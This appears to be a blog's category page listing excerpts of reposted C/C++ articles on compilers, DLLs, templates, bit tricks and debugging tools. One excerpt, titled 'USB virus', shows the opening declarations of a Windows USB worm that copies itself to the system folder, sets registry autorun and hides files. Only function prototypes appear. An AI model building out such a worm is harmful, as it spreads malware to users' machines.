
C/C++
文章平均质量分 83
mirkerson
QQ 252915145
展开
-
在控制台程序中隐藏控制台窗口!
<br /> <br />大家都知道,当编写一个win32 console application时,当运行此类程序的时候<br />默认情况下会有一个类似dos窗口的console窗口,但是有的时候我们只想在程序<br />中运行一段功能代码,不希望显示这个console窗口,让代码执行完毕之后程序自<br />动退出.<br /> <br />下面就介绍一下,如何隐藏win32 console application的console窗口<br /> <br />因为此种方法是通过设置编译器的链接开关来实转载 2010-09-20 17:00:00 · 1303 阅读 · 1 评论 -
map文件介绍及使用查错 9个预定义段
map文件介绍及使用查错来源:网络 |时间:2010-01-23 | 点击: 69次先简单介绍 一下map文件中的遇到的各个段,起始它们是在PE中的公共段。 一个Windows NT的应用程序典型地拥有9个预定义段,它们是.text、.bss、.rdata、.data、.rsrc、.edata、.idata、.pdata和.debug。一些应用程序不需要所有的这些段,同样还有一些应用程序为了自己特殊的需要而定义了更多的段。这种做法与MS-DOS和Windows 3.1中的代码段和数据段相似。事实上,应用转载 2010-12-14 11:19:00 · 2009 阅读 · 0 评论 -
关于VC中的DLL的编程
<br />关于VC中的DLL的编程所属类别:VC++<br />推荐指数:★★☆<br />文档人气:542<br />本周人气:2<br />发布日期:2007-5-8<br /><br />在我们实际用软件时,经常可看到许多动态连接库。动态连接库有其自身的优点<br />如节省内存、支持多语种等功能,而且,当DLL中的函数改变后,只要不是参数的改变<br />调用起的函数并不需要重新编译。这在编程时十分有用。至于其他妙处,各位在电脑<br />杂志、书籍中都能看到,我这里再说就是废话了.<br />这转载 2010-12-14 10:42:00 · 688 阅读 · 0 评论 -
vc 编译连接选项
<br />vc 编译连接选项 大家可能一直在用VC开发软件,但是对于这个编译器却未必很了解。原因是多方面的。大多数情况下,我们只停留在“使用”它,而不会想去“了解”它。因为它只是一个工具,我们宁可把更多的精力放在C++语言和软件设计上。我们习惯于这样一种“模式”:建立一个项目,然后写代码,然后编译,反反复复调试。但是,所谓:“公欲善其事,必先利其器”。如果我们精于VC开发环境,我们是不是能够做得更加游刃有余呢?<br /><br /> 闲话少说。我们先来看一下VC的处理流程,大致分为两步:转载 2010-12-23 14:57:00 · 734 阅读 · 0 评论 -
善用"Assume No Aliasing"编译选项
<br />善用"Assume No Aliasing"编译选项作者:佚名 阅读人次:758 文章来源:未知 发布时间:2005-12-28 网友评论(3)条 <br />据说,如果过程能够2次或多次引用同样的内存地址,那么过程就会包含别名数值。一个典型的例子如下:<br />Dim g_GlobalVariable As Long<br />...<br />Sub ProcWithAliases(x As Long)<br />x = x + 1<br />g_GlobalVar转载 2010-12-23 15:28:00 · 671 阅读 · 0 评论 -
C++模板使用介绍
<br />C++模板使用介绍<br /> 来源:C++博客 酷勤网收集 2009-04-05摘要酷勤网 模板就是实现代码重用机制的一种工具,它可以实现类型参数化,即把类型定义为参数, 从而实现了真正的代码可重用性。模版可以分为两类,一个是函数模版,另外一个是类模版。<br />1. 模板的概念。<br />我们已经学过重载(Overloading),对重载函数而言,C++的检查机制能通过函数参数的不同及所属类的不同。正确的调用重载函数。例如,为求两个数的最大值,我们定义MAX()函数需要对不同的数据转载 2010-11-15 15:25:00 · 663 阅读 · 0 评论 -
C 防止 全局 变量 重复 定义 巧妙办法
C 防止 全局 变量 重复 定义 巧妙办法在C语言中使用extern 关键字来定义全局变量的时候,我们需要在.h文件和.c文件中重复定义,这种重复,导致了出错几率的增加。研读了uCOSii操作系统的部分代码,后发现了一种非常巧妙的方法,可以称得上是“奇淫巧计”了。在ucos_ii.h中有如下定义#ifdef OS_GLOBALS#define OS_EXT#else#define OS_EXT extern#endif在之后使用OS_EXT来定义全局变量。以下是摘抄的一小部分。OS_EX转载 2010-11-18 21:04:00 · 6180 阅读 · 0 评论 -
zt令人困惑的inline,extern inline,staitc inline
<br />2008-11-09zt令人困惑的inline,extern inline,staitc inline<br />版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明<br />http://dionysus.blogbus.com/logs/31152920.html 轉載自:http://goldencz.spaces.live.com/blog/cns!BDF1ADF5C4D1F962!343.entry<br />令人困惑的inline,extern inline,stait转载 2010-11-21 12:45:00 · 1069 阅读 · 0 评论 -
utraledit-32 编译程序
<br />utraledit-32 编译程序. 收藏 <br />在visual c++下,每编写一个简单的小程序,就得生成一大串中间文件,另人十分的不爽。下面提供一个新的编写c/c++程序的方法:<br />(1),下载utraledit-32编辑器,推荐v11.<br />(2),在utraledit-32中,分别点击菜单:高级-工具配置,出现一个dialog,用来设置用户自定义的菜单项。我们的想法是,设置一个编译菜单和运行菜单项,分别用来编译在utraledit-32编写的c/c++源文件。这样,在转载 2011-02-10 20:52:00 · 1001 阅读 · 0 评论 -
C代码优化方案
<br />UML软件工程组织火龙果软件工程技术中心C代码优化方案<br /> 2008-11-10 作者:王全明 来源:csdn<br /> <br /> <br />目录<br />C代码优化方案<br />1、选择合适的算法和数据结构<br />2、使用尽量小的数据类型<br />3、减少运算的强度<br />(1)、查表(游戏程序员必修课)<br />(2)、求余运算<br />(3)、平方运算<br />(4)、用移位实现乘除法运算<br />(5)、避免不必要的整数除法<br />(6)、使用增转载 2011-03-05 23:13:00 · 886 阅读 · 0 评论 -
C语言优先级列表
<br />C语言优先级列表<br />醋 -初等,4个: ( ) [ ] -> 指向结构体成员 . 结构体成员 <br />坛 -单目,9个: ! ~ ++ -- -负号 (类型) *指针 &取地址 sizeof长度 <br />酸 -算术,5个: * / % + -减 <br />味 -位移,2个: << >> <br />灌 -关系,6个: < <= > >= == 等于 != 不等于 <br />味 -位逻,3个: & 按位与 ^ 按位异或 | 按位或 <br />落 -逻辑,2个: && 逻辑与转载 2011-03-11 11:01:00 · 3894 阅读 · 0 评论 -
一道比较恶心的C语言的试题
<br />一道试题引发的血案 收藏 <br /><br /> 某日,看到一道比较恶心的C语言的试题,考了很多比较绕的知识点,嘴脸如下:<br />--------------------------------------------------------------------------------<br /> <br />int main(void)<br /> <br />{<br /> <br /> int a[4] = {1, 2, 3, 4};<br /> <br /> int转载 2011-03-18 17:05:00 · 2177 阅读 · 2 评论 -
C语言获取汉字拼音首字母
C语言获取汉字拼音首字母2010年7月14日 | 分类: C/C++ | 标签: C/C++多网友提意见让我给小飞信加上好友搜索功能,这几天太忙,抽时间把其它的功能加了一下,现在就剩下这个功能没做好了,想做成按汉字首字母搜索的那种,于是查了查资料写了个把汉字转换成首字母的程序,贴一下有需要的可以拿去用,也顺便给自己做个备份。下面是程序,用了glib里面的一个函数g_co转载 2010-09-26 17:32:00 · 9331 阅读 · 4 评论 -
位运算应用技巧
<br />位运算应用技巧2009-08-07 11:05:07.0 来源:e800技术客关键词: C C++ 位运算 <br />赤峰赤峰的文章<br />Visual C++ tr1中的shared_ptr和随机数<br />关于C语言中的无符号数和有符号数"<<" 左移:右边空出的位上补0,左边的位将从字头挤掉,其值相当于乘2。<br />个人页面<br />登陆交谈 <br />位运算应用口诀<br />清零取位要用与,某位置一可用或<br />若要取反和交换,轻轻松转载 2010-12-12 18:04:00 · 791 阅读 · 0 评论 -
关于C++中文字符的处理
<br />关于C++中文字符的处理2007-05-26 09:19一 引入问题代码 wchar_t a[3]=L”中国”,编译时出错,出错信息为:数组越界。但wchar_t 是一个宽字节类型,数组a的大小应为6个字节,而两个汉字的的unicode码占4个字节,再加上一个结束符,最多6个字节,所以应该不会越界。难道是编译器出问题了?二 解决引入问题所需的知识 主要需两方面的知识,第一个为字符尤其是汉字的编码,以及语言和工具的支持情况,第二个是vc/c++中MutiByte Charater Set 和转载 2010-10-23 14:43:00 · 1113 阅读 · 0 评论 -
container_of 理解
<br />container_of 理解 收藏<br /><br /><br /><br />问题:如何通过结构中的某个变量获取结构本身的指针???<br /><br />关于container_of见kernel.h中:<br />/**<br />* container_of - cast a member of a structure out to the containing structure<br />* @ptr: the pointer to the member.<br />*转载 2010-12-02 17:06:00 · 559 阅读 · 0 评论 -
DOS下万年历TC源代码
<br />DOS下万年历TC源代码 收藏<br />CRAZII@优快云 <br />这个好像是大二时写的..用的TC(!....) 没有注释...<br />以前发在MSN SPACE 上的.最近整理硬盘的时候发现已经从硬盘上删除了..<br />所以在这发一份..省得以后再也找不到了.<br />重新看了一下运行效果,字符界面<br />上下左右键可以改年月,空格是跳转年份.<br /><br />/* Xiaofeng @2005.10.25 */<br />/* simple Calendar转载 2010-09-28 20:18:00 · 1114 阅读 · 0 评论 -
about volatile
<br />about volatilefrom MSDN:<br />The volatile keyword is a type qualifier used to declare that an object can be modified in the program by something other than statements, such as the operating system, the hardware, or a concurrently executing thread.<b转载 2010-11-27 20:29:00 · 643 阅读 · 0 评论 -
#define的用法
<br />#define的用法Posted on 2009-01-07 08:54 Min.net 阅读(18261) 评论(2) 编辑 收藏 <br />转自http://blog.youkuaiyun.com/djsl6071/archive/2007/04/02/1549539.aspx<br /> <br />1.简单的define定义<br />#define MAXTIME 1000<br />一个简单的MAXTIME就定义好了,它代表1000,如果在程序里面写<br />if(i<MAXTIME){转载 2010-11-28 11:22:00 · 685 阅读 · 0 评论 -
C面试题目
<br />本文的写作目的并不在于提供C/C++程序员求职面试指导,而旨在从技术上分析面试题的内涵。文中的大多数面试题来自各大论坛,部分试题解答也参考了网友的意见。<br /><br /> 许多面试题看似简单,却需要深厚的基本功才能给出完美的解答。企业要求面试者写一个最简单的strcpy函数都可看出面试者在技术上究竟达到了怎样的程度,我们能真正写好一个strcpy函数吗?我们都觉得自己能,可是我们写出的strcpy很可能只能拿到10分中的2分。读者可从本文看到strcpy 函数从2分到10分解答的例子,看转载 2010-11-28 11:23:00 · 988 阅读 · 0 评论 -
C语言中可变参数的用法
<br /><br /> C语言中可变参数的用法<br />2005年07月21日 作者:yashiro 责任编辑:moningfeng 我们在C语言编程中会遇到一些参数个数可变的函数,例如printf()这个函数,它的定义是这样的: <br /><br /> int printf( const char* format, ...);<br /> 它除了有一个参数format固定以外,后面跟的参数的个数和类型是可变的,例如我们可以有以下不同的调用方法: <br /><br /> printf("%d转载 2010-11-28 11:21:00 · 628 阅读 · 0 评论 -
结构化流程图编辑器
<br />SFC 是一个结构化流程图编辑器,可视化编辑,画流程图很方便,并且在画流程图的同时即可生成相关的 C++ 伪代码。同样你还可以选择生成普通的伪代码。而且这个程序很小,只有一个文件,使用起来非常方便。因为可以自动生成相关的伪代码,基本上画流程图的过程就相当于在写程序了。而通过画流程图,也可以使程序设计的思路更加清晰。为了有个直观的了解,我直接上个图:<br /><br />大家看看图上我标的说明大致也知道怎么用了。原版的是英文版,我这个图是在我汉化的版本上抓的。这个工具上手很简单。如果想了解其中各转载 2010-12-01 14:08:00 · 1920 阅读 · 0 评论 -
AutoFlowchart 3.0.0.1 流程图生成工具
<br />AutoFlowchart 3.0.0.1 软件名称:AutoFlowchart 3.0.0.1 软件大小:未知:大于1M下载次数:172上传时间:2010-4-2 14:41:00上传网友:网络搜索资源类别:图形图像*AutoFlowchart 3.0.0.1 软件简介软件截图:<br /> 点击缩略图查看大图<br />AutoFlowchart 是一个极佳的根据源程序生成流程图的工具,主要用于对已有的程序进行分析,并为制作项目文档做准备。它生成的流程图支持展开/合拢,缩放和移动也很方便转载 2010-12-01 14:45:00 · 6370 阅读 · 3 评论 -
用Visio做工作流程图
<br />在实际工作中,我们常常需要向别人介绍清楚某项工作的操作流程。若是稍微复杂一些的工作流程,仅用文字是很难清楚表达的!这时就应充分利用可视化技术,将那些复杂的工作流程用图形化的方式表达出来,这样不仅使你表达容易,而且让别人也更容易理解。<br />一、制作工作流程图前的准备<br /> 要实现用图形化的方式表达工作流程的目标,Microsoft Visio 2002就是优秀的实现工具之一。在用Visio 2002制图之前,最好先在头脑里想一想该项工作的实际要求或主要流程,然后在一张纸上把要实现转载 2010-12-01 17:26:00 · 11495 阅读 · 0 评论 -
使用Visio 2000逆向工程将代码转换为UML图表
<br />使用Visio 2000逆向工程将代码转换为UML图表<br />摘要:Microsoft Visio 2000 Professional Edition 和 Enterprise Edition 包含通过逆向工程将 Microsoft Visual C++、Microsoft Visual Basic 和 Microsoft Visual J++ 代码转换为统一建模语言 (UML) 类图表模型的技术。本文将讨论从每种语言实施逆向工程的步骤。<br /> 目录<br /> 简介<br />转载 2010-12-01 18:04:00 · 3391 阅读 · 0 评论 -
DLL编写教程
<br />DLL编写教程<br /> <br />本文对通用的DLL技术做了一个总结,并提供了源代码打包下载,下载地址为:<br />http://www.blogjava.net/Files/wxb_nudt/DLL_SRC.rarDLL的优点<br />简单的说,dll有以下几个优点:<br />1) 节省内存。同一个软件模块,若是以源代码的形式重用,则会被编译到不同的可执行程序中,同时运行这些exe时这些模块的二进制码会被重复加载到内存中。如果使用dll,则只在内存中加载一次,所有使用该dll的进程转载 2010-10-09 16:29:00 · 575 阅读 · 0 评论 -
U盘 病毒
#include #include #include #include #pragma comment(lib,"shlwapi.lib")#define TIMER 1LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);BOOL GetSystemPath();BOOL GetSelfPath();BOOL CopyToSystemPath();BOOL SetRegAutoRun();BOOL SetAttributes(TCHAR *path);V转载 2010-10-09 09:37:00 · 849 阅读 · 0 评论 -
windows程序的启动过程
<br />windows程序的启动过程2008年09月01日 星期一 下午 10:13<br /> C++程序启动过程<br />先说编译、链接过程<br />1.预编译展开宏<br />2.为每一个.cxx源文件编译一个目标文件<br />3.编译器合成这些目标文件成一个库文件,同时解析可以找到的符号引用<br />4.连接器把目标的库文件和所需要的引用的静、动态链接库进行链接,即需要把其他静态库合成到可执行文件中,转换相应的符号引用为地址,然后确保所引用的其他动态链接库的符号存在。最终生成可执行文件。转载 2010-12-02 11:02:00 · 1183 阅读 · 0 评论 -
应用 Valgrind 发现 Linux 程序的内存问题
杨 经 (cdlyangj@cn.ibm.com), 软件工程师, IBM简介: 如何定位应用程序开发中的内存问题,一直是 inux 应用程序开发中的瓶颈所在。有一款非常优秀的 linux 下开源的内存问题检测工具:valgrind,能够极大的帮助你解决上述问题。掌握 valgrind 的使用以及工作原理,能够有效地定位进而避免应用开发中的内存问题。发布日期:转载 2013-05-24 15:19:51 · 891 阅读 · 0 评论